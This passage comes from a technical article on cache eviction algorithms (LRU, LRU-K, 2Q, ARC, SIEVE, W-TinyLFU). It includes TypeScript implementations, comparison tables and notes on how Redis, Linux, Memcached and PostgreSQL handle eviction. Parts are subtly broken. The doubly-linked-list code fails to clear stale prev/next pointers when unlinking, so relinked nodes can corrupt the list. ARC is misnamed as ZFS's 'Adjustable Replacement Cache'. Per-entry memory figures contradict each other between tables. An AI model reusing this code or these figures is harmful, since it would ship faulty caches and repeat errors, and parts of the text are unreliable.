- **Temporal locality** is common: users revisit pages, code re-executes hot paths, queries repeat
- **Simple mental model**: recent = important, old = expendable
- **No frequency tracking**: avoids overhead of counting accesses

**Why LRU Fails:**

- **Sequential scans**: A full table scan evicts your entire working set with data you'll never access again
- **No frequency signal**: An item accessed 1000 times gets evicted after one scan if it wasn't touched recently
- **One-shot pollution**: Batch jobs, backups, and analytics queries poison the cache

## LRU Implementation: Achieving O(1) Operations

A cache is only useful if it's fast. Both `get` and `put` must be O(1)—anything slower defeats the purpose of caching. The challenge: tracking recency requires ordering, but maintaining sorted order is O(n) or O(log n).

**The Classic Solution: Hash Map + Doubly Linked List**

| Data Structure           | Purpose                | Operation                 |
| ------------------------ | ---------------------- | ------------------------- |
| Hash Map                 | O(1) key lookup        | `map[key] → node pointer` |
| Doubly Linked List (DLL) | O(1) order maintenance | Head = MRU, Tail = LRU    |

**How Operations Work:**

| Operation         | Steps                                     | Complexity |
| ----------------- | ----------------------------------------- | ---------- |
| `get(key)`        | Hash lookup → unlink → relink at head     | O(1)       |
| `put(key, value)` | Update/create at head, evict tail if full | O(1)       |
| Eviction          | Remove tail node, delete from hash map    | O(1)       |

**Why Doubly Linked List?** A singly linked list requires O(n) to find the predecessor for unlinking. Doubly linked lists store `prev` and `next` pointers, enabling O(1) removal from any position.

<figure>

![LRU Data Structure - hashmap with Doubly linked list](./lru-data-structure-hashmap-with-doubly-linked-list.svg)

<figcaption>LRU Data Structure - hashmap with Doubly linked list</figcaption>
</figure>

### Implementation 1: Utilizing JavaScript Map's Insertion Order

```ts collapse={1-9}
class LRUCache<K, V> {
  capacity: number
  cache: Map<K, V>

  constructor(capacity: number) {
    this.capacity = capacity
    this.cache = new Map()
  }

  get(key: K): V | null {
    if (!this.cache.has(key)) {
      return null
    } else {
      const value = this.cache.get(key)!
      // Remove and re-insert to move to end (most recently used)
      this.cache.delete(key)
      this.cache.set(key, value)
      return value
    }
  }

  put(key: K, value: V): void {
    if (this.cache.has(key)) {
      // Update existing key - remove and re-insert
      this.cache.delete(key)
    } else if (this.cache.size >= this.capacity) {
      // Remove least recently used (first key in Map)
      const keyToRemove = this.cache.keys().next().value
      this.cache.delete(keyToRemove)
    }
    this.cache.set(key, value)
  }
}
```

### Implementation 2: Classic Doubly Linked List & Hash Map

```ts collapse={46-106}
class LRUCache {
  capacity: number
  cache: Map<number, ListNode>
  list: DoublyLinkedList

  constructor(capacity: number) {
    this.capacity = capacity
    this.cache = new Map()
    this.list = new DoublyLinkedList()
  }

  get(key: number): number {
    if (!this.cache.has(key)) {
      return -1
    } else {
      const node = this.cache.get(key)!
      // Move to head (most recently used)
      this.list.removeNode(node)
      this.list.addToHead(node)
      return node.value
    }
  }

  put(key: number, value: number): void {
    if (this.cache.has(key)) {
      // Update existing key
      const node = this.cache.get(key)!
      node.value = value
      this.list.removeNode(node)
      this.list.addToHead(node)
    } else {
      if (this.cache.size >= this.capacity) {
        // Remove least recently used (tail)
        const removed = this.list.removeTail()
        if (removed) {
          this.cache.delete(removed.key)
        }
      }
      const node = new ListNode(key, value)
      this.list.addToHead(node)
      this.cache.set(key, node)
    }
  }
}

class ListNode {
  key: number
  value: number
  prev: ListNode | null
  next: ListNode | null

  constructor(key: number, value: number) {
    this.key = key
    this.value = value
    this.prev = null
    this.next = null
  }
}

class DoublyLinkedList {
  head: ListNode | null
  tail: ListNode | null

  constructor() {
    this.head = null
    this.tail = null
  }

  addToHead(node: ListNode): void {
    node.next = this.head
    if (this.head) {
      this.head.prev = node
    }
    this.head = node
    if (!this.tail) {
      this.tail = node
    }
  }

  removeNode(node: ListNode): void {
    if (node === this.head) {
      this.head = node.next
    } else if (node === this.tail) {
      this.tail = node.prev
    } else {
      if (node.prev) node.prev.next = node.next
      if (node.next) node.next.prev = node.prev
    }
  }

  removeTail(): ListNode | null {
    if (this.tail) {
      const removed = this.tail
      if (this.head === this.tail) {
        this.head = null
        this.tail = null
      } else {
        this.tail = this.tail.prev
        if (this.tail) {
          this.tail.next = null
        }
      }
      return removed
    }
    return null
  }
}
```

## When LRU Fails: The Scan Problem

LRU equates "recently used" with "important"—an assumption that breaks catastrophically during **sequential scans**.

**The Failure Mechanism:**

```
Before scan: Cache contains hot items A, B, C, D (frequently accessed)
During scan: Items 1, 2, 3, 4... sequentially accessed
After scan:  Cache contains cold items (last N scanned), hot items evicted
Result:      Miss storm as application reloads working set
```

**Why This Matters:**

- A single `SELECT * FROM large_table` can destroy hours of cache warmup
- Background jobs (backups, ETL, analytics) poison production caches
- The scan data is never accessed again, but it displaced data that would have been

**Quantifying the Impact:**

In a cache with 10,000 entries holding a working set with 95% hit rate:

- A 50,000-item sequential scan evicts the entire working set
- Hit rate drops to ~0% until the working set is reloaded
- If working set reload takes 100ms per item, that's 1,000 seconds of degraded performance

### Common LRU Failure Scenarios

| Scenario                   | Why It Fails                           | Frequency        |
| -------------------------- | -------------------------------------- | ---------------- |
| Database full table scans  | Analytics queries touch every row once | Common in OLAP   |
| File system traversals     | `find`, `du`, backup tools             | Daily operations |
| Batch processing           | ETL jobs process datasets sequentially | Nightly jobs     |
| Memory-mapped file reads   | Sequential file I/O                    | Log processing   |
| Cache warmup after restart | Loading entire dataset sequentially    | Deployments      |

## Design Choices: Scan-Resistant Algorithms

To overcome LRU's scan vulnerability, several algorithms incorporate additional signals beyond recency. Each makes different trade-offs between complexity, memory overhead, and adaptivity.

### LRU-K: History-Based Filtering

**Mechanism:** Track the timestamps of the last K accesses per item. Evict based on the K-th most recent access time, not the most recent.

**Why It Works:** Items accessed only once (scan data) have no K-th access time and are evicted first. Items with K accesses have proven popularity.

**Best When:**

- Database buffer pools with mixed OLTP/OLAP workloads
- Workloads where frequency is a better predictor than recency
- K can be tuned for the specific access pattern (typically K=2)

**Trade-offs:**

- ✅ Scan-resistant: single-access items evicted quickly
- ✅ Frequency-aware: distinguishes truly popular items
- ✅ LRU-1 degenerates to standard LRU (backward compatible)
- ❌ Requires K timestamps per entry (memory overhead)
- ❌ K parameter needs tuning (workload-dependent)
- ❌ Naive eviction is O(n); requires heap for O(log n)

**Real-World Example:** The original LRU-K paper (O'Neil et al., 1993) demonstrated that LRU-2 improved buffer hit rates by 5-20% over LRU on database workloads with mixed sequential and random access patterns.

```ts collapse={1-10, 45-74}
class LRUKCache {
  capacity: number
  k: number
  cache: Map<number, { value: number; accessTimes: number[] }>

  constructor(capacity: number, k: number = 2) {
    this.capacity = capacity
    this.k = k
    this.cache = new Map()
  }

  get(key: number): number {
    if (!this.cache.has(key)) {
      return -1
    }

    const item = this.cache.get(key)!
    const now = Date.now()

    // Add current access time
    item.accessTimes.push(now)

    // Keep only the last K access times
    if (item.accessTimes.length > this.k) {
      item.accessTimes.shift()
    }

    return item.value
  }

  put(key: number, value: number): void {
    const now = Date.now()

    if (this.cache.has(key)) {
      const item = this.cache.get(key)!
      item.value = value
      item.accessTimes.push(now)
      if (item.accessTimes.length > this.k) {
        item.accessTimes.shift()
      }
    } else {
      if (this.cache.size >= this.capacity) {
        this.evictLRU()
      }
      this.cache.set(key, { value, accessTimes: [now] })
    }
  }

  private evictLRU(): void {
    let oldestTime = Infinity
    let keyToEvict = -1

    for (const [key, item] of this.cache) {
      if (item.accessTimes.length < this.k) {
        // Items with fewer than K accesses are evicted first
        if (item.accessTimes[0] < oldestTime) {
          oldestTime = item.accessTimes[0]
          keyToEvict = key
        }
      } else {
        // For items with K+ accesses, use K-th most recent access
        const kthAccess = item.accessTimes[item.accessTimes.length - this.k]
        if (kthAccess < oldestTime) {
          oldestTime = kthAccess
          keyToEvict = key
        }
      }
    }

    if (keyToEvict !== -1) {
      this.cache.delete(keyToEvict)
    }
  }
}
```

**Time Complexity Note**: The implementation above has O(n) time complexity for eviction due to the linear scan through all cache entries in `evictLRU()`. For true O(1) operations, you would need:

- **Min-Heap Approach**: Use a min-heap ordered by K-th access time, achieving O(log n) eviction
- **Approximation Approach**: Sample random entries instead of scanning all (trading accuracy for speed)
- **Hybrid Approach**: Maintain sorted structure with periodic rebalancing

In practice, the O(n) eviction complexity is acceptable for small to medium cache sizes (< 10,000 entries), and the simpler implementation reduces bugs and maintenance overhead. For larger caches, production systems typically use approximated LRU-K with sampling.

### 2Q: Probationary Filtering

**Mechanism:** Use two queues to filter first-time accesses before admitting to the main cache.

| Queue               | Type      | Purpose                                |
| ------------------- | --------- | -------------------------------------- |
| A1in (Probationary) | FIFO      | Holds first-time accesses              |
| Am (Main)           | LRU       | Holds proven items (accessed 2+ times) |
| A1out (Ghost)       | Keys only | Remembers recently evicted A1 items    |

**Why It Works:** Sequential scan data enters A1, gets evicted from A1 (never touching Am), and the main cache remains unpolluted. Only items accessed twice make it to Am.

**Best When:**

- Production databases needing scan resistance (PostgreSQL used 2Q in 8.0.1-8.0.2)
- Systems requiring O(1) operations without tuning parameters
- Patent-free implementations required (no patent on 2Q)

**Trade-offs:**

- ✅ True O(1) operations (no heap, no timestamps)
- ✅ Simple to implement and debug
- ✅ Excellent scan resistance
- ✅ No patents
- ❌ Fixed queue sizes may not adapt to workload changes
- ❌ Requires tuning A1/Am size ratio (typically 25%/75%)
- ❌ Ghost list (A1out) adds memory overhead

**Real-World Example:** PostgreSQL briefly used 2Q in versions 8.0.1-8.0.2 after discovering the ARC patent issue. The PostgreSQL developers found 2Q provided comparable performance to ARC without legal concerns. They later moved to clock sweep in 8.1 for better concurrency characteristics.

```ts collapse={1-18, 70-85}
class TwoQueueCache {
  capacity: number
  a1Size: number
  amSize: number

  // A1: probationary queue (FIFO) - uses Map insertion order
  a1: Map<number, number>

  // Am: main cache (LRU) - uses Map insertion order with re-insertion on access
  am: Map<number, number>

  constructor(capacity: number) {
    this.capacity = capacity
    this.a1Size = Math.floor(capacity * 0.25) // 25% for probationary
    this.amSize = capacity - this.a1Size
    this.a1 = new Map()
    this.am = new Map()
  }

  get(key: number): number {
    // Check main cache first (LRU: re-insert to move to end)
    if (this.am.has(key)) {
      const value = this.am.get(key)!
      this.am.delete(key)
      this.am.set(key, value)
      return value
    }

    // Check probationary queue
    if (this.a1.has(key)) {
      const value = this.a1.get(key)!
      // Promote to main cache
      this.a1.delete(key)
      this.am.set(key, value)

      // Ensure main cache doesn't exceed capacity
      if (this.am.size > this.amSize) {
        this.evictFromAm()
      }

      return value
    }

    return -1
  }

  put(key: number, value: number): void {
    // If already in main cache, update (LRU: re-insert)
    if (this.am.has(key)) {
      this.am.delete(key)
      this.am.set(key, value)
      return
    }

    // If in probationary queue, promote to main cache
    if (this.a1.has(key)) {
      this.a1.delete(key)
      this.am.set(key, value)

      if (this.am.size > this.amSize) {
        this.evictFromAm()
      }
      return
    }

    // New item goes to probationary queue (FIFO)
    this.a1.set(key, value)

    if (this.a1.size > this.a1Size) {
      this.evictFromA1()
    }
  }

  private evictFromA1(): void {
    // Remove oldest item from A1 (FIFO - first key in Map)
    const oldestKey = this.a1.keys().next().value
    if (oldestKey !== undefined) {
      this.a1.delete(oldestKey)
    }
  }

  private evictFromAm(): void {
    // Remove least recently used from Am (LRU - first key in Map)
    const oldestKey = this.am.keys().next().value
    if (oldestKey !== undefined) {
      this.am.delete(oldestKey)
    }
  }
}
```

> **Implementation Note**: This implementation achieves true O(1) operations by leveraging JavaScript Map's guaranteed insertion order (ES2015+). The A1 queue uses FIFO semantics (oldest = first inserted = first key), while Am uses LRU semantics (re-insert on access moves to end, evict from beginning).

### ARC: Adaptive Self-Tuning

**Mechanism:** Maintain two LRU lists (T1 for recency, T2 for frequency) with adaptive sizing based on "ghost lists" that remember recently evicted keys.

| List | Contents                | Purpose                         |
| ---- | ----------------------- | ------------------------------- |
| T1   | Recently accessed once  | Recency-focused cache           |
| T2   | Accessed multiple times | Frequency-focused cache         |
| B1   | Keys evicted from T1    | Ghost list for recency misses   |
| B2   | Keys evicted from T2    | Ghost list for frequency misses |

**The Learning Rule:**

- Hit in B1 → "We shouldn't have evicted that recent item" → Increase T1 size
- Hit in B2 → "We shouldn't have evicted that frequent item" → Increase T2 size
- Parameter `p` controls the T1/T2 split and adapts continuously

**Why It Works:** The ghost lists act as a feedback mechanism. ARC learns from its eviction mistakes and automatically adjusts the recency/frequency balance for the current workload.

**Best When:**

- Workloads with unpredictable or shifting access patterns
- Systems where self-tuning eliminates operational burden
- ZFS (uses ARC for its Adjustable Replacement Cache)

**Trade-offs:**

- ✅ Self-tuning: no parameters to configure
- ✅ Handles mixed workloads dynamically
- ✅ Ghost lists provide learning without storing values
- ✅ **Patent expired February 22, 2024** (US6996676B2) — now freely usable
- ❌ Memory overhead: 4 data structures + ghost lists can equal cache size
- ❌ More complex to implement and debug
- ❌ Ghost list maintenance adds CPU overhead

**Patent History and Industry Impact:**

ARC was developed by Nimrod Megiddo and Dharmendra S. Modha at IBM Almaden Research Center. The patent (US6996676B2, filed November 14, 2002, granted February 7, 2006) had significant industry implications:

| System               | Response to ARC Patent                                           |
| -------------------- | ---------------------------------------------------------------- |
| PostgreSQL           | Used ARC in 8.0.0 → Switched to 2Q in 8.0.1 → Clock sweep in 8.1 |
| ZFS                  | Licensed through Sun/IBM cross-licensing agreement               |
| MySQL                | Adopted LIRS algorithm instead                                   |
| Open-source projects | Generally avoided ARC until patent expiration                    |

**Real-World Example:** ZFS has used ARC since its inception (2005) through Sun's cross-licensing agreement with IBM. ZFS extended ARC with L2ARC for SSD caching, demonstrating that the adaptive approach works well for storage systems with mixed sequential/random workloads.

```ts collapse={1-21, 68-137}
class ARCCache {
  capacity: number
  p: number // Adaptation parameter

  // Main cache lists
  t1: Map<number, { value: number; timestamp: number }> // Recently accessed once
  t2: Map<number, { value: number; timestamp: number }> // Recently accessed multiple times

  // Ghost lists (keys only)
  b1: Set<number> // Recently evicted from T1
  b2: Set<number> // Recently evicted from T2

  constructor(capacity: number) {
    this.capacity = capacity
    this.p = 0
    this.t1 = new Map()
    this.t2 = new Map()
    this.b1 = new Set()
    this.b2 = new Set()
  }

  get(key: number): number {
    // Check T1
    if (this.t1.has(key)) {
      const item = this.t1.get(key)!
      this.t1.delete(key)
      this.t2.set(key, { value: item.value, timestamp: Date.now() })
      return item.value
    }

    // Check T2
    if (this.t2.has(key)) {
      const item = this.t2.get(key)!
      item.timestamp = Date.now()
      return item.value
    }

    // Check ghost lists for adaptation
    if (this.b1.has(key)) {
      this.adapt(true) // Increase T1 size
      this.b1.delete(key)
    } else if (this.b2.has(key)) {
      this.adapt(false) // Increase T2 size
      this.b2.delete(key)
    }

    return -1
  }

  put(key: number, value: number): void {
    // If already in cache, update
    if (this.t1.has(key)) {
      const item = this.t1.get(key)!
      this.t1.delete(key)
      this.t2.set(key, { value, timestamp: Date.now() })
      return
    }

    if (this.t2.has(key)) {
      this.t2.set(key, { value, timestamp: Date.now() })
      return
    }

    // New item goes to T1
    this.t1.set(key, { value, timestamp: Date.now() })

    // Ensure capacity constraints
    this.ensureCapacity()
  }

  private adapt(increaseT1: boolean): void {
    if (increaseT1) {
      this.p = Math.min(this.p + 1, this.capacity)
    } else {
      this.p = Math.max(this.p - 1, 0)
    }
  }

  private ensureCapacity(): void {
    const totalSize = this.t1.size + this.t2.size

    if (totalSize <= this.capacity) {
      return
    }

    // Calculate target sizes
    const targetT1 = Math.min(this.p, this.capacity)
    const targetT2 = this.capacity - targetT1

    // Evict from T1 if needed
    while (this.t1.size > targetT1) {
      const oldestKey = this.getOldestKey(this.t1)
      if (oldestKey !== null) {
        const item = this.t1.get(oldestKey)!
        this.t1.delete(oldestKey)
        this.b1.add(oldestKey)

        // Limit ghost list size
        if (this.b1.size > this.capacity) {
          const firstKey = this.b1.values().next().value
          this.b1.delete(firstKey)
        }
      }
    }

    // Evict from T2 if needed
    while (this.t2.size > targetT2) {
      const oldestKey = this.getOldestKey(this.t2)
      if (oldestKey !== null) {
        const item = this.t2.get(oldestKey)!
        this.t2.delete(oldestKey)
        this.b2.add(oldestKey)

        // Limit ghost list size
        if (this.b2.size > this.capacity) {
          const firstKey = this.b2.values().next().value
          this.b2.delete(firstKey)
        }
      }
    }
  }

  private getOldestKey(map: Map<number, { value: number; timestamp: number }>): number | null {
    let oldestKey = null
    let oldestTime = Infinity

    for (const [key, item] of map) {
      if (item.timestamp < oldestTime) {
        oldestTime = item.timestamp
        oldestKey = key
      }
    }

    return oldestKey
  }
}
```

### SIEVE: Lazy Promotion (NSDI'24)

**Mechanism:** Maintain a single FIFO queue with one "visited" bit per entry and a "hand" pointer for eviction.

```
Queue: [A*] [B] [C*] [D*] [E] ← hand points here
       *=visited bit set

On hit:  Set visited bit (no list manipulation)
On miss: Move hand from tail, reset visited bits, evict first unvisited item
```

**Why It Works:**

- Items accessed multiple times have their visited bit set and survive the hand sweep
- Scan data enters, never gets revisited, and is evicted on the first hand pass
- No list manipulation on hits = better cache locality and concurrency

**Best When:**

- Web caches with high throughput requirements
- Systems where lock contention is a concern
- Workloads where items tend to be accessed in bursts

**Trade-offs:**

- ✅ Simpler than LRU (no list manipulation on hits)
- ✅ Better throughput (fewer memory operations)
- ✅ One bit per entry (minimal memory overhead)
- ✅ Outperforms LRU on 45%+ of web cache traces
- ❌ Less effective for very short TTLs (items may be evicted before hand reaches them)
- ❌ Newer algorithm (2024), less battle-tested than LRU/2Q/ARC

**Real-World Example:** SIEVE (Zhang et al., NSDI'24) was evaluated on 1,559 traces containing 247 billion requests. It reduces miss ratio by 21% on average compared to FIFO and has been adopted by production systems including TiDB and Pelikan (Twitter's cache).

```ts collapse={1-8, 35-60}
class SIEVECache<K, V> {
  capacity: number
  cache: Map<K, { value: V; visited: boolean }>
  order: K[] // FIFO order
  hand: number // Eviction pointer

  constructor(capacity: number) {
    this.capacity = capacity
    this.cache = new Map()
    this.order = []
    this.hand = 0
  }

  get(key: K): V | null {
    const entry = this.cache.get(key)
    if (!entry) return null

    // Lazy promotion: just set the visited bit (no list manipulation)
    entry.visited = true
    return entry.value
  }

  put(key: K, value: V): void {
    if (this.cache.has(key)) {
      const entry = this.cache.get(key)!
      entry.value = value
      entry.visited = true
      return
    }

    // Evict if at capacity
    while (this.cache.size >= this.capacity) {
      this.evict()
    }

    // Insert at head (newest position)
    this.cache.set(key, { value, visited: false })
    this.order.unshift(key)
  }

  private evict(): void {
    // Move hand from tail toward head, looking for unvisited item
    while (this.order.length > 0) {
      // Wrap around if needed
      if (this.hand >= this.order.length) {
        this.hand = this.order.length - 1
      }

      const key = this.order[this.hand]
      const entry = this.cache.get(key)

      if (!entry) {
        // Key was deleted externally
        this.order.splice(this.hand, 1)
        continue
      }

      if (entry.visited) {
        // Give it another chance, reset visited bit
        entry.visited = false
        this.hand--
        if (this.hand < 0) this.hand = this.order.length - 1
      } else {
        // Evict this item
        this.cache.delete(key)
        this.order.splice(this.hand, 1)
        return
      }
    }
  }
}
```

### Window TinyLFU (Caffeine)

**Mechanism:** Combine a small "window" LRU cache (1%) with a large "main" cache (99%) using frequency-based admission filtering.

```
Request → Window (1%) → Admission Filter → Main Cache (99%)
                              ↓
                    CountMinSketch (frequency estimate)
```

**Why It Works:**

- Window cache handles burst traffic (recency)
- Main cache uses segmented LRU (protected + probationary)
- Admission filter blocks low-frequency items from polluting main cache
- 4-bit CountMinSketch provides frequency estimates with minimal memory

**Best When:**

- High-throughput Java applications
- Workloads with skewed popularity distributions
- Systems needing near-optimal hit rates with bounded memory

**Trade-offs:**

- ✅ Near-optimal hit rates (within 1% of theoretical best)
- ✅ Only 8 bytes overhead per entry (vs. ARC's doubled cache size for ghosts)
- ✅ Battle-tested (Caffeine is the standard Java cache library)
- ❌ More complex than simpler algorithms
- ❌ Requires frequency decay mechanism (adds CPU overhead)
- ❌ Java-specific reference implementation

**Real-World Example:** Caffeine's W-TinyLFU achieves 39.6% hit rate on benchmark traces where ARC achieves 20% and the theoretical optimal is 40.3%. The key insight: don't track evicted keys (like ARC's ghost lists) — use probabilistic frequency counting instead.

## How to Choose

### Decision Matrix

| Factor                       | LRU      | 2Q       | ARC       | SIEVE   | W-TinyLFU |
| ---------------------------- | -------- | -------- | --------- | ------- | --------- |
| Implementation complexity    | Low      | Medium   | High      | Low     | High      |
| Memory overhead per entry    | 16 bytes | 24 bytes | 32+ bytes | 1 bit   | 8 bytes   |
| Scan resistance              | Poor     | Good     | Excellent | Good    | Excellent |
| Self-tuning                  | No       | No       | Yes       | No      | Partial   |
| Throughput (ops/sec)         | High     | Medium   | Medium    | Highest | High      |
| Patent concerns (as of 2024) | None     | None     | None      | None    | None      |

### Choosing by Workload Pattern

| If Your Workload Has...  | Choose       | Rationale                                 |
| ------------------------ | ------------ | ----------------------------------------- |
| Strong temporal locality | LRU          | Simple, effective, O(1)                   |
| Frequent full scans      | 2Q or SIEVE  | Probationary filtering prevents pollution |
| Unpredictable patterns   | ARC          | Self-tuning adapts automatically          |
| High throughput needs    | SIEVE        | No list manipulation on hits              |
| Skewed popularity (Zipf) | W-TinyLFU    | Frequency-based filtering excels          |
| Memory constraints       | SIEVE or LRU | Minimal per-entry overhead                |

### Common Decision Patterns

**"I just need a cache, nothing special"** → Start with LRU. It's simple, well-understood, and works for most workloads.

**"Full table scans are killing my cache"** → Use 2Q. It filters scan data effectively with O(1) operations and no patents.

**"My workload keeps changing"** → Use ARC. It adapts automatically and the patent expired in 2024.

**"I need maximum throughput"** → Use SIEVE. No list manipulation on hits means better CPU cache locality.

**"I'm building a CDN or web cache"** → Use W-TinyLFU (Caffeine) or SIEVE. Both handle popularity skew well.

## Real-World Applications

The choice of algorithm has profound, practical implications across different domains.

| Aspect               | LRU              | LRU-K                           | 2Q                          | ARC                        | SIEVE              |
| -------------------- | ---------------- | ------------------------------- | --------------------------- | -------------------------- | ------------------ |
| **Primary Criteria** | Recency          | K-th Recency (History)          | Recency + Second Hit Filter | Adaptive Recency/Frequency | Visited bit + FIFO |
| **Scan Resistance**  | Poor             | Good (for K>1)                  | Very Good                   | Excellent                  | Good               |
| **Complexity**       | Low              | High                            | Moderate                    | Moderate-High              | Low                |
| **Time Complexity**  | O(1)             | O(n) naive, O(log n) with heap  | O(1)                        | O(1)                       | O(1)               |
| **Memory Overhead**  | 2 pointers/entry | K timestamps + 2 pointers/entry | 3 maps + metadata           | 4 structures + ghosts      | 1 bit/entry        |
| **Tuning**           | None             | Manual (parameter K)            | Manual (queue sizes)        | Automatic / Self-Tuning    | None               |

### Memory Overhead Analysis

Memory overhead determines how much of your allocated cache space actually holds data vs. metadata.

| Algorithm   | Per-Entry Overhead                    | For 10K entries (64B values) |
| ----------- | ------------------------------------- | ---------------------------- |
| LRU         | ~40-50 bytes (hash + 2 pointers)      | ~1.6 MB                      |
| LRU-K (K=2) | ~56-66 bytes (+ K timestamps)         | ~2.0 MB                      |
| 2Q          | ~60-80 bytes (2 maps + metadata)      | ~2.1 MB                      |
| ARC         | ~80-120 bytes (4 structures + ghosts) | ~2.6 MB                      |
| SIEVE       | ~1 bit + FIFO position                | ~1.0 MB                      |
| W-TinyLFU   | ~8 bytes (CountMinSketch)             | ~1.1 MB                      |

**Key Insight:** ARC's ghost lists can grow to equal the cache size (storing evicted keys), effectively doubling memory usage for metadata. Caffeine's W-TinyLFU solved this by using probabilistic frequency counting instead of ghost lists—same accuracy, fraction of the memory.

## Production Implementations

Real-world systems often use approximated or specialized variants of these algorithms, optimized for their specific constraints.

### Redis: Approximated LRU

Redis uses random sampling instead of tracking exact recency for all keys.

**Mechanism:**

1. Sample N random keys (default: 5, configurable via `maxmemory-samples`)
2. Evict the least recently used among the sampled keys
3. Repeat until memory is below threshold

**Why This Design:**

- No linked list = no pointer overhead per key (just 24 bits for LRU clock)
- No lock contention from list manipulation
- Sampling 10 keys provides ~95% of true LRU accuracy

```
# Redis configuration
maxmemory-policy allkeys-lru
maxmemory-samples 5   # Increase to 10 for near-true LRU accuracy
```

**As of Redis 3.0:** Uses a pool of good eviction candidates that persists across eviction cycles, improving accuracy without increasing per-key memory.

### Linux Kernel: MGLRU

The Linux kernel evolved from a two-list approach to Multi-Generational LRU.

| Era     | Algorithm             | Limitations                           |
| ------- | --------------------- | ------------------------------------- |
| Pre-6.1 | Active/Inactive lists | Binary hot/cold, poor scan resistance |
| 6.1+    | MGLRU                 | Multiple generations, better aging    |

**MGLRU (merged in Linux 6.1, backported to some 5.x kernels):**

- Multiple generations (typically 4) instead of 2 lists
- Pages move to younger generations when accessed
- Workload-aware: adapts scan frequency to access patterns

**Google's deployment results (Chrome OS + Android):**

- 40% decrease in kswapd CPU usage
- 85% decrease in low-memory kill events
- 18% decrease in rendering latency

**Distribution Support:** Enabled by default in Fedora and Arch Linux. Available but not default in Ubuntu and Debian.

### Memcached: Segmented LRU

Memcached uses per-slab-class LRU with modern segmentation.

**Slab Allocator:** Memory is divided into slab classes (64B, 128B, 256B, etc.). LRU is per-class, not global—eviction from the 128B class only evicts 128B items, even if there are older 256B items.

**Modern Segmented LRU (since 1.5.x):**

| Queue | Purpose                                |
| ----- | -------------------------------------- |
| HOT   | Recently written items (FIFO, not LRU) |
| WARM  | Frequently accessed items (LRU)        |
| COLD  | Eviction candidates                    |
| TEMP  | Very short TTL items (no bumping)      |

**Key Optimization:** Items are only "bumped" once every 60 seconds, reducing lock contention dramatically.

### PostgreSQL: Clock Sweep

PostgreSQL uses clock sweep for buffer pool management since version 8.1.

**Mechanism:**

- Circular buffer array with `usage_count` per buffer (0-5)
- "Clock hand" sweeps through buffers
- On sweep: if `usage_count > 0`, decrement and skip; if 0, evict
- On access: increment `usage_count` (saturates at 5)

**Why Clock Sweep:**

- No linked list = no pointer manipulation on buffer access
- Single atomic increment instead of list relinking
- Better concurrency than 2Q (which PostgreSQL used briefly in 8.0.1-8.0.2)

**Implementation Detail:** The `nextVictimBuffer` pointer is a simple unsigned 32-bit integer that wraps around the buffer pool. This simplicity enables high concurrency without complex locking.

## Concurrency and Thread Safety

Production caches must handle concurrent access. The key trade-off: simplicity vs. scalability.

| Strategy         | Pros                                  | Cons                   | Used By           |
| ---------------- | ------------------------------------- | ---------------------- | ----------------- |
| Global lock      | Simple, correct                       | Serializes all ops     | Simple caches     |
| Sharded locking  | Concurrent access to different shards | Hot shards bottleneck  | ConcurrentHashMap |
| Read-write locks | Multiple readers                      | Writer starvation      | Many caches       |
| Lock-free (CAS)  | Best throughput                       | Complex, hard to debug | Caffeine          |

**Production Recommendation:** Don't implement concurrent caches yourself. Use battle-tested libraries:

| Language | Library      | Notes                             |
| -------- | ------------ | --------------------------------- |
| Node.js  | `lru-cache`  | Size limits, TTL support          |
| Java     | Caffeine     | Near-optimal hit rates, lock-free |
| Go       | `groupcache` | Distributed, singleflight         |
| Rust     | `moka`       | Concurrent, TinyLFU-based         |
| Python   | `cachetools` | Simple, extensible                |

## Common Pitfalls

### 1. Cache Stampede (Thundering Herd)

**The Mistake:** Multiple requests miss the cache simultaneously, all hit the backend.

**Why It Happens:** Cache entry expires, N requests arrive before any can repopulate.

**The Consequence:** Backend overwhelmed with N duplicate requests for the same data.

**The Fix:** Use "singleflight" pattern—only one request fetches, others wait for its result.

```ts collapse={1-5, 18-25}
class StampedeProtectedCache<K, V> {
  private cache: Map<K, V>
  private pending: Map<K, Promise<V>> // In-flight requests

  constructor() {
    this.cache = new Map()
    this.pending = new Map()
  }

  async get(key: K, fetch: () => Promise<V>): Promise<V> {
    // Return cached value if present
    if (this.cache.has(key)) return this.cache.get(key)!

    // If another request is fetching, wait for it
    if (this.pending.has(key)) return this.pending.get(key)!

    // This request will fetch
    const promise = fetch().then((value) => {
      this.cache.set(key, value)
      this.pending.delete(key)
      return value
    })
    this.pending.set(key, promise)
    return promise
  }
}
```

### 2. Cache Inconsistency

**The Mistake:** Updating database then cache, or vice versa, without atomicity.

**Why It Happens:** Race conditions between concurrent updates.

**The Consequence:** Cache serves stale data indefinitely.

**The Fix:** Use cache-aside with TTL, or write-through with single source of truth. For critical data, prefer short TTLs over complex invalidation.

### 3. Unbounded Cache Growth

**The Mistake:** Caching everything without size limits.

**Why It Happens:** "More cache = better performance" thinking.

**The Consequence:** OOM crashes, GC pauses, or swapping.

**The Fix:** Always set a max size. For LRU, this is trivial—eviction handles it. For other patterns, monitor memory usage.

### 4. Wrong Cache Key Granularity

**The Mistake:** Cache keys too coarse (cache entire page) or too fine (cache every DB row).

**Why It Happens:** Not analyzing actual access patterns.

**The Consequence:** Too coarse = low hit rate, too fine = high overhead.

**The Fix:** Profile your workload. Match cache granularity to access granularity.

### 5. Ignoring Cache Warmup

**The Mistake:** Deploying with cold cache and expecting production performance.

**Why It Happens:** Testing with warm caches, deploying fresh.

**The Consequence:** Slow starts, backend overload on deployment.

**The Fix:** Pre-warm caches before routing production traffic, or use rolling deployments that let caches warm gradually.

## Conclusion

Cache eviction is fundamentally about prediction: given limited memory, which items should you keep to maximize future hits? The answer depends entirely on your access patterns.

**Decision Framework:**

1. **Start with LRU** for most applications—it's simple, well-understood, and works for temporal locality
2. **Switch to 2Q or SIEVE** when sequential scans are poisoning your cache (analytics queries, batch jobs, backups)
3. **Consider ARC** when your workload is unpredictable and you can't tune parameters (patent expired February 2024)
4. **Use W-TinyLFU (Caffeine)** for CDNs and web caches with skewed popularity distributions

**Production Reality:** Most systems use approximated or specialized variants. Redis samples random keys. Linux uses multiple generations. PostgreSQL uses clock sweep. The textbook algorithms are starting points, not endpoints.

The right cache eviction policy can be the difference between a system that degrades gracefully under load and one that falls over. Understand your access patterns, profile your workload, and choose accordingly.

## Appendix

### Prerequisites

- Understanding of hash tables and linked lists
- Basic knowledge of time complexity (Big O notation)
- Familiarity with cache concepts (hits, misses, eviction)

### Summary

1. **LRU assumes temporal locality**: recently accessed = soon needed. This fails during sequential scans.
2. **Scan resistance requires additional signals**: 2Q uses probationary filtering, ARC uses ghost lists, SIEVE uses visited bits.
